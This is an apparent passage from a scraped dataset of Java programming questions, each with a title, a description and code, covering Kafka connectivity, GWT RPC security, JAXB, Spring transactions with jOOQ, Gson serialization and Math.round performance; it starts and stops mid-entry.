HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) ... . at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 ) at sun.net.www.http.HttpClient.parseHTTP ( HttpClient.java:640 ) at sun.net.www.protocol.http.HttpURLConnection.doTunneling ( HttpURLConnection.java:1595 ) at sun.net.www.http.HttpClient.parseHTTPHeader ( HttpClient.java:770 )",why does the call to java.net.URLConnection.getHeaderField ( 0 ) result in a StackOverflowError ? +Java,"Please help I 'm wondering why the kafka producer always connect to the localhost however there the broker ip is not the localhost . So , is there any help ? any ideas ? And here is the pom contentHere is a list from the output console","import org.apache.kafka.clients.producer.KafkaProducer ; import org.apache.kafka.clients.producer.ProducerConfig ; import org.apache.kafka.clients.producer.ProducerRecord ; import org.apache.kafka.common.serialization.StringSerializer ; import java.util.Properties ; public class ProducerDemo { public static void main ( String [ ] args ) throws Exception { String bootstrapServers = `` 192.168.199.137:9092 '' ; Properties properties = new Properties ( ) ; properties.setProperty ( ProducerConfig.BOOTSTRAP_SERVERS_CONFIG , bootstrapServers ) ; properties.setProperty ( ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG , StringSerializer.class.getName ( ) ) ; properties.setProperty ( ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG , StringSerializer.class.getName ( ) ) ; // create the producer KafkaProducer < String , String > producer = new KafkaProducer < String , String > ( properties ) ; System.out.println ( `` kafka IP `` + properties.getProperty ( ProducerConfig.BOOTSTRAP_SERVERS_CONFIG ) ) ; // create producer record ProducerRecord < String , String > record = new ProducerRecord < String , String > ( `` first_topic '' , `` Hello world '' ) ; // send data producer.send ( record ) ; producer.flush ( ) ; producer.close ( ) ; } } < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > org.example < /groupId > < artifactId > KafkaBeginnersCourse < /artifactId > < version > 1.0-SNAPSHOT < /version > < packaging > jar < /packaging > < dependencies > < ! -- https : //mvnrepository.com/artifact/org.apache.kafka/kafka-clients -- > < dependency > < groupId > org.apache.kafka < /groupId > < artifactId > kafka-clients < /artifactId > < version > 2.4.0 < /version > < /dependency > < ! -- https : //mvnrepository.com/artifact/org.slf4j/slf4j-simple -- > < dependency > < groupId > org.slf4j < /groupId > < artifactId > slf4j-simple < /artifactId > < version > 1.7.28 < /version > < ! -- scope > test < /scope -- > < /dependency > < /dependencies > < /project > [ kafka-producer-network-thread | producer-1 ] INFO org.apache.kafka.clients.Metadata - [ Producer clientId=producer-1 ] Cluster ID : 0TPD87gWR0G18RLKk4gPow [ kafka-producer-network-thread | producer-1 ] WARN org.apache.kafka.clients.NetworkClient - [ Producer clientId=producer-1 ] Connection to node 1 ( localhost/127.0.0.1:9092 ) could not be established . Broker may not be available . [ kafka-producer-network-thread | producer-1 ] WARN org.apache.kafka.clients.NetworkClient - [ Producer clientId=producer-1 ] Connection to node 1 ( localhost/127.0.0.1:9092 ) could not be established . Broker may not be available . [ kafka-producer-network-thread | producer-1 ] WARN org.apache.kafka.clients.NetworkClient - [ Producer clientId=producer-1 ] Connection to node 1 ( localhost/127.0.0.1:9092 ) could not be established . Broker may not be available . [ kafka-producer-network-thread | producer-1 ] WARN org.apache.kafka.clients.NetworkClient - [ Producer clientId=producer-1 ] Connection to node 1 ( localhost/127.0.0.1:9092 ) could not be established . Broker may not be available . [ kafka-producer-network-thread | producer-1 ] WARN org.apache.kafka.clients.NetworkClient - [ Producer clientId=producer-1 ] Connection to node 1 ( localhost/127.0.0.1:9092 ) could not be established . Broker may not be available . [ kafka-producer-network-thread | producer-1 ] WARN org.apache.kafka.clients.NetworkClient - [ Producer clientId=producer-1 ] Connection to node 1 ( localhost/127.0.0.1:9092 ) could not be established . Broker may not be available .",Kafka producer is connecting to localhost instead of the real IP +Java,"I have an POJO in Google Web Toolkit like this that I can retrieve from the server.When the client makes changes , I save it back to the server using the GWT RemoteServiceServlet like this : The problem is that the user should n't be able to change the creationDate . Since the RPC method is really just a HTTP POST to the server , it would be possible to modify the creationDate by changing the POST request.A simple solution would be to create a series of RPC functions like changeName ( String newName ) , etc. , but with a class with many fields would require many methods for each field , and would be inefficient to change many fields at once.I like the simplicity of having a single POJO that I can use on both the server and GWT client , but need a way to do it securely . Any ideas ? EDITI 'm resubmitting with a bounty to try and see if there are any other ideas . Perhaps my original question focused too much on the specifics of GWT . Really I think this is a generic question for any system that uses JavaBeans to pass data between a secure ( servlet container ) and insecure ( web browser ) environment.EDIT 2Also , to be clear , I used the field creationDate as an example of the problem . In reality the code I 'm working with is more complicated with many different fields .","class Person implements Serializable { String name ; Date creationDate ; } rpcService.saveObject ( myPerson , ... )",Security when using GWT RPC +Java,"Java has 2 bitshift operators for right shifts : http : //java.sun.com/docs/books/tutorial/java/nutsandbolts/op3.htmlThis seems fairly simple , so can anyone explain to me why this code , when given a value of -128 for bar , produces a value of -2 for foo : What this is meant to do is take an 8bit byte , mask of the leftmost 2 bits , and shift them into the rightmost 2 bits . Ie : The result actually is -2 , which isIe . 1s rather than zeros are shifted into left positions","> > shifts right , and is dependant on the sign bit for the sign of the result > > > shifts right and shifts a zero into leftmost bits byte foo = ( byte ) ( ( bar & ( ( byte ) -64 ) ) > > > 6 ) ; initial = 0b10000000 ( -128 ) -64 = 0b11000000initial & -64 = 0b100000000b10000000 > > > 6 = 0b00000010 0b11111110",Java bitshift strangeness +Java,"When I unmarshal an Xml node to a property , the setMyProperty is called . The code of the property setter may raise an exception : what happens in this case ? The behaviour that I have observed : if the exception is an unchecked exception , then it is swallowed by jaxb `` internals '' and that property ignored . If the RuntimeException is changed in a Exception ( so checked and added to the throws clause of the property setter ) it causes the unmarshal to fail.The question is : is this a behaviour you can rely on ? thanks in advance AgostinoPS : Ok `` swallowed '' is not the correct word , because it actually is managed in the `` best possible way '' , unmarshalling correctly the rest of the document . Nevertheless the unmarshall caller is not notified that an exception has happen.PS : A simple test case , just in case : - )","package test.jaxb ; import java.io.File ; import javax.xml.bind . * ; import javax.xml.bind.annotation.XmlRootElement ; @ XmlRootElementpublic class SZL { public static void main ( String [ ] args ) throws JAXBException { SZL test = new SZL ( ) ; test.myProp = `` test-value '' ; test.setMyProp2 ( `` test-value-2 '' ) ; JAXBContext jc = JAXBContext.newInstance ( SZL.class ) ; File f = new File ( `` SZL.xml '' ) ; Marshaller m = jc.createMarshaller ( ) ; m.marshal ( test , f ) ; test = null ; Unmarshaller um = jc.createUnmarshaller ( ) ; test = ( SZL ) um.unmarshal ( f ) ; System.out.println ( `` The RuntimeException has been swallowed '' ) ; System.out.println ( test.myProp ) ; System.out.println ( test.myProp2 ) ; } private String myProp ; public void setMyProp ( String myProp ) { throw new RuntimeException ( ) ; //this.myProp = myProp ; } public String getMyProp ( ) { return myProp ; } private String myProp2 ; public void setMyProp2 ( String myProp2 ) { this.myProp2 = myProp2 ; } public String getMyProp2 ( ) { return myProp2 ; } }",jaxb exception management in property setters of unmarshalled class +Java,"I have three modules : module-a , module-b , module-c. Module-a and module-b are in boot layer . Layer for module-c I create myself . Module-c has JPMS implementation of the service which interface is in module-a.This is the way I create layer with module-c in module-b.Then in module-b I call service from module-c. After service execution completed I do n't need module-c and new created layer any more . How to remove it from JVM and release all resources ? Is it enough to do layer = null ; ?","ModuleFinder finder = ModuleFinder.of ( moduleCPath ) ; ModuleLayer parent = ModuleLayer.boot ( ) ; Configuration cf = parent.configuration ( ) .resolve ( finder , ModuleFinder.of ( ) , Set.of ( `` module-c '' ) ) ; ClassLoader scl = ClassLoader.getSystemClassLoader ( ) ; ModuleLayer layer = parent.defineModulesWithOneLoader ( cf , scl ) ;",How to remove module layer in Java 9 ? +Java,I have google about spring support of servlet 3.0/3.1 specification and most of information I have found at this article : Understanding Callable and Spring DeferredResultHere author say that you can return Callable or DefferedResult from controller and say it is servlet 3.0/3.1 maintain in spring.But I do n't understand how to apply it in my situation : I have external system and I get result from this system asynchrounously.In controller I write something like this : and I have another thread where I get result : I know that in servlet API I allow to save asyncContext in map and then found it.How can I acheve it in spring ?,"externalSystenm.send ( requestId , message ) ; Message m = externalSystem.get ( ) ; m.getRequestId ( ) ; // According this id I can map message to request",Is there analog of AsyncContext in spring mvc ? ( how to write http response in another thread ) +Java,"I have several simple interfaces with getters and setters and a few other methods to read and write from the file system.Using directly Java code , I could write a single `` invocation handler '' and use it to instantiate objects for all these interfaces ( I have not tried it , but I think that it could be done ) .I am wondering if it is possible to do the same using Spring.The code below , implements a given interface . As you can easily see , the same same invocation handler , could be used for any interface .","import java.lang.reflect.InvocationHandler ; import java.lang.reflect.Method ; import java.lang.reflect.Proxy ; public class AOPTester { public static void main ( String [ ] args ) { InvocationHandler handler = new MyInvocationHandler ( ) ; AnyInterface proxy = ( AnyInterface ) Proxy.newProxyInstance ( AnyInterface.class.getClassLoader ( ) , new Class [ ] { AnyInterface.class } , handler ) ; proxy.sayHello ( ) ; } } interface AnyInterface { public void sayHello ( ) ; } class MyInvocationHandler implements InvocationHandler { public Object invoke ( Object proxy , Method method , Object [ ] args ) throws Throwable { System.out.println ( `` Hello ! `` ) ; return null ; } }",Implements a Java Interface using Spring ( AOP ? ) +Java,"I 'm having a problem to expose RevisionRepository ( Spring Data Envers ) endpoints for my repository which extends RevisionRepository as below : Only findByName method is exposed , is there any other way to expose the methods in RevisionRepository ? I 've also tried to override those methods in DisciplineRepository but it does n't work . Thank You ...","@ RepositoryRestResource ( path = `` disciplines '' , itemResourceRel = `` disciplines '' ) public interface DisciplineRepository extends RevisionRepository < Discipline , Integer , Integer > , CrudRepository < Discipline , Integer > { @ RestResource ( path = `` findByName '' , rel = `` findByName '' ) List < Discipline > findByName ( String name ) ; }",Spring Data Rest & Spring Data Envers : How to expose REST API for Repository that extends Revision Repository +Java,"Java generics are implemented using type erasure . That means that if I have a method : after compilation , it will end up in the .class as : I have a JAR file with generic classes and methods like the above . It is just the binary . No source code no nothing . But when I use it in code , Eclipse auto completion gives me setMapParam ( Map < String , Integer > p ) even though in the binary is like setMapParam ( Map p ) .How does Eclipse now the type ( Map < String , Integer > ) even if the method signature has been type erased ( to Map ) ? Or am I missing something ?","public void setMapParam ( Map < String , Integer > p ) { ... } public void setMapParam ( Map p ) { ... }",Eclipse autocompletion - how does it know about generics when only binary jar is available ? +Java,"I have a data source configuration class that looks as follows , with separate DataSource beans for testing and non-testing environments using JOOQ . In my code , I do not use DSLContext.transaction ( ctx - > { ... } but rather mark the method as transactional , so that JOOQ defers to Spring 's declarative transactions for transactionality . I am using Spring 4.3.7.RELEASE.I have the following issue : During testing ( JUnit ) , @ Transactional works as expected . A single method is transactional no matter how many times I use the DSLContext 's store ( ) method , and a RuntimeException triggers a rollback of the entire transaction.During actual production runtime , @ Transactional is completely ignored . A method is no longer transactional , and TransactionSynchronizationManager.getResourceMap ( ) holds two separate values : one showing to my connection pool ( which is not transactional ) , and one showing the TransactionAwareDataSourceProxy ) .In this case , I would have expected only a single resource of type TransactionAwareDataSourceProxy which wraps my DB CP.After much trial and error using the second set of configuration changes I made ( noted below with `` AFTER '' ) , @ Transactional works correctly as expected even during runtime , though TransactionSynchronizationManager.getResourceMap ( ) holds the following value : In this case , my DataSourceTransactionManager seems to not even know the TransactionAwareDataSourceProxy ( most likely due to my passing it the simple DataSource , and not the proxy object ) , which seems to completely 'skip ' the proxy anyway.My question is : the initial configuration that I had seemed correct , but did not work . The proposed 'fix ' works , but IMO should not work at all ( since the transaction manager does not seem to be aware of the TransactionAwareDataSourceProxy ) .What is going on here ? Is there a cleaner way to fix this issue ? BEFORE ( not transactional during runtime ) AFTER ( transactional during runtime , as expected , all non-listed beans identical to above )","@ Configuration @ EnableTransactionManagement @ RefreshScope @ Slf4jpublic class DataSourceConfig { @ Bean @ Primary public DSLContext dslContext ( org.jooq.Configuration configuration ) throws SQLException { return new DefaultDSLContext ( configuration ) ; } @ Bean @ Primary public org.jooq.Configuration defaultConfiguration ( DataSourceConnectionProvider dataSourceConnectionProvider ) { org.jooq.Configuration configuration = new DefaultConfiguration ( ) .derive ( dataSourceConnectionProvider ) .derive ( SQLDialect.POSTGRES_9_5 ) ; configuration.set ( new DeleteOrUpdateWithoutWhereListener ( ) ) ; return configuration ; } @ Bean public DataSourceTransactionManager transactionManager ( DataSource dataSource ) { return new DataSourceTransactionManager ( dataSource ) ; } @ Bean public DataSourceConnectionProvider dataSourceConnectionProvider ( DataSource dataSource ) { return new DataSourceConnectionProvider ( dataSource ) ; } @ Configuration @ ConditionalOnClass ( EmbeddedPostgres.class ) static class EmbeddedDataSourceConfig { @ Value ( `` $ { spring.jdbc.port } '' ) private int dbPort ; @ Bean ( destroyMethod = `` close '' ) public EmbeddedPostgres embeddedPostgres ( ) throws Exception { EmbeddedPostgres embeddedPostgres = EmbeddedPostgresHelper.startDatabase ( dbPort ) ; return embeddedPostgres ; } @ Bean @ Primary public DataSource dataSource ( EmbeddedPostgres embeddedPostgres ) throws Exception { DataSource dataSource = embeddedPostgres.getPostgresDatabase ( ) ; return new TransactionAwareDataSourceProxy ( dataSource ) ; } } @ Configuration @ ConditionalOnMissingClass ( `` com.opentable.db.postgres.embedded.EmbeddedPostgres '' ) @ RefreshScope static class DefaultDataSourceConfig { @ Value ( `` $ { spring.jdbc.url } '' ) private String url ; @ Value ( `` $ { spring.jdbc.username } '' ) private String username ; @ Value ( `` $ { spring.jdbc.password } '' ) private String password ; @ Value ( `` $ { spring.jdbc.driverClass } '' ) private String driverClass ; @ Value ( `` $ { spring.jdbc.MaximumPoolSize } '' ) private Integer maxPoolSize ; @ Bean @ Primary @ RefreshScope public DataSource dataSource ( ) { log.debug ( `` Connecting to datasource : { } '' , url ) ; HikariConfig hikariConfig = buildPool ( ) ; DataSource dataSource = new HikariDataSource ( hikariConfig ) ; return new TransactionAwareDataSourceProxy ( dataSource ) ; } private HikariConfig buildPool ( ) { HikariConfig config = new HikariConfig ( ) ; config.setJdbcUrl ( url ) ; config.setUsername ( username ) ; config.setPassword ( password ) ; config.setDriverClassName ( driverClass ) ; config.setConnectionTestQuery ( `` SELECT 1 '' ) ; config.setMaximumPoolSize ( maxPoolSize ) ; return config ; } } @ Configuration @ EnableTransactionManagement @ RefreshScope @ Slf4jpublic class DataSourceConfig { @ Bean public DataSourceConnectionProvider dataSourceConnectionProvider ( TransactionAwareDataSourceProxy dataSourceProxy ) { return new DataSourceConnectionProvider ( dataSourceProxy ) ; } @ Bean public TransactionAwareDataSourceProxy transactionAwareDataSourceProxy ( DataSource dataSource ) { return new TransactionAwareDataSourceProxy ( dataSource ) ; } @ Configuration @ ConditionalOnMissingClass ( `` com.opentable.db.postgres.embedded.EmbeddedPostgres '' ) @ RefreshScope static class DefaultDataSourceConfig { @ Value ( `` $ { spring.jdbc.url } '' ) private String url ; @ Value ( `` $ { spring.jdbc.username } '' ) private String username ; @ Value ( `` $ { spring.jdbc.password } '' ) private String password ; @ Value ( `` $ { spring.jdbc.driverClass } '' ) private String driverClass ; @ Value ( `` $ { spring.jdbc.MaximumPoolSize } '' ) private Integer maxPoolSize ; @ Bean @ Primary @ RefreshScope public DataSource dataSource ( ) { log.debug ( `` Connecting to datasource : { } '' , url ) ; HikariConfig hikariConfig = buildPoolConfig ( ) ; DataSource dataSource = new HikariDataSource ( hikariConfig ) ; return dataSource ; // not returning the proxy here } } }",Issue with Declarative Transactions and TransactionAwareDataSourceProxy in combination with JOOQ +Java,"Example : I would like these serializations especially in unit tests . Is there a way to do so ? I found Serializing anonymous classes with Gson , but the argumentation is only valid for de-serialization .",import com.google.gson.Gson ; class GsonDemo { private static class Static { String key = `` static '' ; } private class NotStatic { String key = `` not static '' ; } void testGson ( ) { Gson gson = new Gson ( ) ; System.out.println ( gson.toJson ( new Static ( ) ) ) ; // expected = actual : { `` key '' : '' static '' } System.out.println ( gson.toJson ( new NotStatic ( ) ) ) ; // expected = actual : { `` key '' : '' not static '' } class MethodLocal { String key = `` method local '' ; } System.out.println ( gson.toJson ( new MethodLocal ( ) ) ) ; // expected : { `` key '' : '' method local '' } // actual : null ( be aware : the String `` null '' ) Object extendsObject = new Object ( ) { String key = `` extends Object '' ; } ; System.out.println ( gson.toJson ( extendsObject ) ) ; // expected : { `` key '' : '' extends Object '' } // actual : null ( be aware : the String `` null '' ) } public static void main ( String ... arguments ) { new GsonDemo ( ) .testGson ( ) ; } },Can I use Gson to serialize method-local classes and anonymous classes ? +Java,"I have a jstack dump that seemingly says that several threads have acquired a lock on the same object . As I understand this is suppose to be impossible but is it ? Here 's the code with the crucial wait call inside try block : And here 's the jstack dump ( selectively ) : As you can see , several different threads ( going by names and tid thread IDs , in this thread thread-79 and thread-74 ) have apparently acquired a lock on the same UserInfo object ( 0x000000008b8de758 ) and called wait on it . Am I mistaken or have several threads really acquired lock and called wait on a single object ?","protected boolean waitMaxWaitingTime ( UserInfo aUserInfo ) throws EventServiceException { final int theMaxWaitingTime = myConfiguration.getMaxWaitingTime ( ) ; if ( theMaxWaitingTime < = 0 ) { return true ; } if ( aUserInfo.isEventsEmpty ( ) ) { //monitor for event notification and double checked synchronized ( aUserInfo ) { if ( aUserInfo.isEventsEmpty ( ) ) { try { final long theStartTime = System.currentTimeMillis ( ) ; // -- - THE CRUCIAL WAIT CALL -- - aUserInfo.wait ( theMaxWaitingTime ) ; return ( System.currentTimeMillis ( ) - theStartTime > = theMaxWaitingTime ) ; } catch ( InterruptedException e ) { throw new EventServiceException ( `` Error on waiting max . waiting time ! `` , e ) ; } } } } return false ; } `` thread-79 '' # 161 daemon prio=5 os_prio=0 tid=0x000000005d63c000 nid=0x322c in Object.wait ( ) [ 0x000000007e93c000 ] java.lang.Thread.State : TIMED_WAITING ( on object monitor ) at java.lang.Object.wait ( Native Method ) at de.novanic.eventservice.service.connection.strategy.connector.ConnectionStrategyServerConnectorAdapter.waitMaxWaitingTime ( ConnectionStrategyServerConnectorAdapter.java:92 ) - locked < 0x000000008b8de758 > ( a de.novanic.eventservice.service.registry.user.UserInfo ) '' thread-77 '' # 159 daemon prio=5 os_prio=0 tid=0x000000005d63a800 nid=0x5384 in Object.wait ( ) [ 0x000000007e83c000 ] java.lang.Thread.State : TIMED_WAITING ( on object monitor ) at java.lang.Object.wait ( Native Method ) at de.novanic.eventservice.service.connection.strategy.connector.ConnectionStrategyServerConnectorAdapter.waitMaxWaitingTime ( ConnectionStrategyServerConnectorAdapter.java:92 ) - locked < 0x000000008b8de758 > ( a de.novanic.eventservice.service.registry.user.UserInfo ) '' thread-74 '' # 156 daemon prio=5 os_prio=0 tid=0x000000006efe6000 nid=0x4828 in Object.wait ( ) [ 0x000000007e25c000 ] java.lang.Thread.State : TIMED_WAITING ( on object monitor ) at java.lang.Object.wait ( Native Method ) at de.novanic.eventservice.service.connection.strategy.connector.ConnectionStrategyServerConnectorAdapter.waitMaxWaitingTime ( ConnectionStrategyServerConnectorAdapter.java:92 ) - locked < 0x000000008b8de758 > ( a de.novanic.eventservice.service.registry.user.UserInfo )",Is it possible for several threads to wait on same object ? +Java,"With following code , How can I throw sce as if the method ( supplier ) method is throwing it ? Please note that above code is just an example . I need the key ( s.get ( ) ) to be inside a lambda expression .",void key ( Key ) throws SomeCheckedException { } void supplier ( Supplier < Key > s ) throws SomeCheckedException { ofNullable ( s ) .ifPresent ( s - > { // | try { // | key ( s.get ( ) ) ; // | } catch ( final SomeCheckedException sce ) { // | // sce is coming from key ( ) method // | // How can I throw sce for outer method ? // -- / } } ) ; } void supplier ( Supplier < Key > s ) throws SomeCheckException { key ( s.get ( ) ) ; },How can I re-throw an exception in a lambda block as from the outer block ? +Java,"Simplified ( i.e. , leaving concurrency out ) Random.next ( int bits ) looks likewhere masking gets used to reduce the seed to 48 bits . Why is it better than just ? I 've read quite a lot about random numbers , but see no reason for this .",protected int next ( int bits ) { seed = ( seed * multiplier + addend ) & mask ; return ( int ) ( seed > > > ( 48 - bits ) ) ; } protected int next ( int bits ) { seed = seed * multiplier + addend ; return ( int ) ( seed > > > ( 64 - bits ) ) ; },Why does java.util.Random use the mask ? +Java,"I have a fairly simple hobby project written in Java 8 that makes extensive use of repeated Math.round ( ) calls in one of its modes of operation . For example , one such mode spawns 4 threads and queues 48 runnable tasks by way of an ExecutorService , each of which runs something similar to the following block of code 2^31 times : That 's not exactly how it is ( there are arrays involved , and nested loops ) , but you get the idea . Anyway , prior to Java 8u40 , the code that resembles the above could complete the full run of ~103 billion instruction blocks in about 13 seconds on an AMD A10-7700k . With Java 8u40 it takes around 260 seconds to do the same thing . No changes to code , no nothing , just a Java update.Has anyone else noticed Math.round ( ) getting much slower , especially when it is used repetitiously ? It 's almost as though the JVM was doing some sort of optimization before that it is n't doing anymore . Maybe it was using SIMD prior to 8u40 and it is n't now ? edit : I have completed my second attempt at an MVCE . You can download the first attempt here : https : //www.dropbox.com/s/rm2ftcv8y6ye1bi/MathRoundMVCE.zip ? dl=0The second attempt is below . My first attempt has been otherwise removed from this post as it has been deemed to be too long , and is prone to dead code removal optimizations by the JVM ( which apparently are happening less in 8u40 ) .Long story short , this code performed about the same in 8u25 as in 8u40 . As you can see , I am now recording the results of all calculations into arrays , and then summing those arrays outside of the timed portion of the loop to a local variable which is then written to a static variable at the end of the outer loop . Under 8u25 : Total execution time is 261545 millisecondsUnder 8u40 : Total execution time is 266890 millisecondsTest conditions were the same as before . So , it would appear that 8u25 and 8u31 were doing dead code removal that 8u40 stopped doing , causing the code to `` slow down '' in 8u40 . That does n't explain every weird little thing that 's cropped up but that appears to be the bulk of it . As an added bonus , the suggestions and answers provided here have given me inspiration to improve the other parts of my hobby project , for which I am quite grateful . Thank you all for that !","int3 = Math.round ( float1 + float2 ) ; int3 = Math.round ( float1 * float2 ) ; int3 = Math.round ( float1 / float2 ) ; import java.util.concurrent.ExecutorService ; import java.util.concurrent.Executors ; public class MathRoundMVCE { static long grandtotal = 0 ; static long sumtotal = 0 ; static float [ ] float4 = new float [ 128 ] ; static float [ ] float5 = new float [ 128 ] ; static int [ ] int6 = new int [ 128 ] ; static int [ ] int7 = new int [ 128 ] ; static int [ ] int8 = new int [ 128 ] ; static long [ ] longarray = new long [ 480 ] ; final static int mil = 1000000 ; public static void main ( String [ ] args ) { initmainarrays ( ) ; OmniCode omni = new OmniCode ( ) ; grandtotal = omni.runloops ( ) / mil ; System.out.println ( `` Total sum of operations is `` + sumtotal ) ; System.out.println ( `` Total execution time is `` + grandtotal + `` milliseconds '' ) ; } public static long siftarray ( long [ ] larray ) { long topnum = 0 ; long tempnum = 0 ; for ( short i = 0 ; i < larray.length ; i++ ) { tempnum = larray [ i ] ; if ( tempnum > 0 ) { topnum += tempnum ; } } topnum = topnum / Runtime.getRuntime ( ) .availableProcessors ( ) ; return topnum ; } public static void initmainarrays ( ) { int k = 0 ; do { float4 [ k ] = ( float ) ( Math.random ( ) * 12 ) + 1f ; float5 [ k ] = ( float ) ( Math.random ( ) * 12 ) + 1f ; int6 [ k ] = 0 ; k++ ; } while ( k < 128 ) ; } } class OmniCode extends Thread { volatile long totaltime = 0 ; final int standard = 16777216 ; final int warmup = 200000 ; byte threads = 0 ; public long runloops ( ) { this.setPriority ( MIN_PRIORITY ) ; threads = ( byte ) Runtime.getRuntime ( ) .availableProcessors ( ) ; ExecutorService executor = Executors.newFixedThreadPool ( threads ) ; for ( short j = 0 ; j < 48 ; j++ ) { executor.execute ( new RoundFloatToIntAlternate ( warmup , ( byte ) j ) ) ; } executor.shutdown ( ) ; while ( ! executor.isTerminated ( ) ) { try { Thread.sleep ( 100 ) ; } catch ( InterruptedException e ) { //Do nothing } } executor = Executors.newFixedThreadPool ( threads ) ; for ( short j = 0 ; j < 48 ; j++ ) { executor.execute ( new RoundFloatToIntAlternate ( standard , ( byte ) j ) ) ; } executor.shutdown ( ) ; while ( ! executor.isTerminated ( ) ) { try { Thread.sleep ( 100 ) ; } catch ( InterruptedException e ) { //Do nothing } } totaltime = MathRoundMVCE.siftarray ( MathRoundMVCE.longarray ) ; executor = null ; Runtime.getRuntime ( ) .gc ( ) ; return totaltime ; } } class RoundFloatToIntAlternate extends Thread { int i = 0 ; int j = 0 ; int int3 = 0 ; int iterations = 0 ; byte thread = 0 ; public RoundFloatToIntAlternate ( int cycles , byte threadnumber ) { iterations = cycles ; thread = threadnumber ; } public void run ( ) { this.setPriority ( 9 ) ; MathRoundMVCE.longarray [ this.thread ] = 0 ; mainloop ( ) ; blankloop ( ) ; } public void blankloop ( ) { j = 0 ; long timer = 0 ; long totaltimer = 0 ; do { timer = System.nanoTime ( ) ; i = 0 ; do { i++ ; } while ( i < 128 ) ; totaltimer += System.nanoTime ( ) - timer ; j++ ; } while ( j < iterations ) ; MathRoundMVCE.longarray [ this.thread ] -= totaltimer ; } public void mainloop ( ) { j = 0 ; long timer = 0 ; long totaltimer = 0 ; long localsum = 0 ; int [ ] int6 = new int [ 128 ] ; int [ ] int7 = new int [ 128 ] ; int [ ] int8 = new int [ 128 ] ; do { timer = System.nanoTime ( ) ; i = 0 ; do { int6 [ i ] = Math.round ( MathRoundMVCE.float4 [ i ] + MathRoundMVCE.float5 [ i ] ) ; int7 [ i ] = Math.round ( MathRoundMVCE.float4 [ i ] * MathRoundMVCE.float5 [ i ] ) ; int8 [ i ] = Math.round ( MathRoundMVCE.float4 [ i ] / MathRoundMVCE.float5 [ i ] ) ; i++ ; } while ( i < 128 ) ; totaltimer += System.nanoTime ( ) - timer ; for ( short z = 0 ; z < 128 ; z++ ) { localsum += int6 [ z ] + int7 [ z ] + int8 [ z ] ; } j++ ; } while ( j < iterations ) ; MathRoundMVCE.longarray [ this.thread ] += totaltimer ; MathRoundMVCE.sumtotal = localsum ; } }",Java 8u40 Math.round ( ) very slow +Java,"As we all know , Java reflection provides Class.getConstructors method , but how is the order of the Constructor < ? > [ ] array ? For example , I create Person class and there are 3 construct method : And by debug , I find the order of constructor array like this :","public Person ( ) { } public Person ( int age ) { this.age = age ; } public Person ( int age , String name ) { this.age = age ; this.name = name ; } 0 = public xxx.Person ( int ) 1 = public xxx.Person ( int , java.lang.String ) 2 = public xxx.Person ( )",How is the order of the array what Class.getConstructors ( ) returns in Java +Java,"Given several arrays in Java ( i 'll be looping through keys currently stored in a HashMap ) , I want to be able to identify ( based on the boolean [ ] keys currently stored ) 